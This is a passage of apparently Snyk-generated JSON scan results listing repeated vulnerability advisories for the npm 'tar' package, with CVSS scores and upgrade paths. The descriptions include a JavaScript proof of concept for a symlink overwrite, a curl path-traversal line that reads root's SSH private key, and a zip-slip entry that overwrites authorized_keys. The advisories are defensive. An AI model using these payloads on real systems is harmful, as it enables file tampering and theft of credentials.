"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub 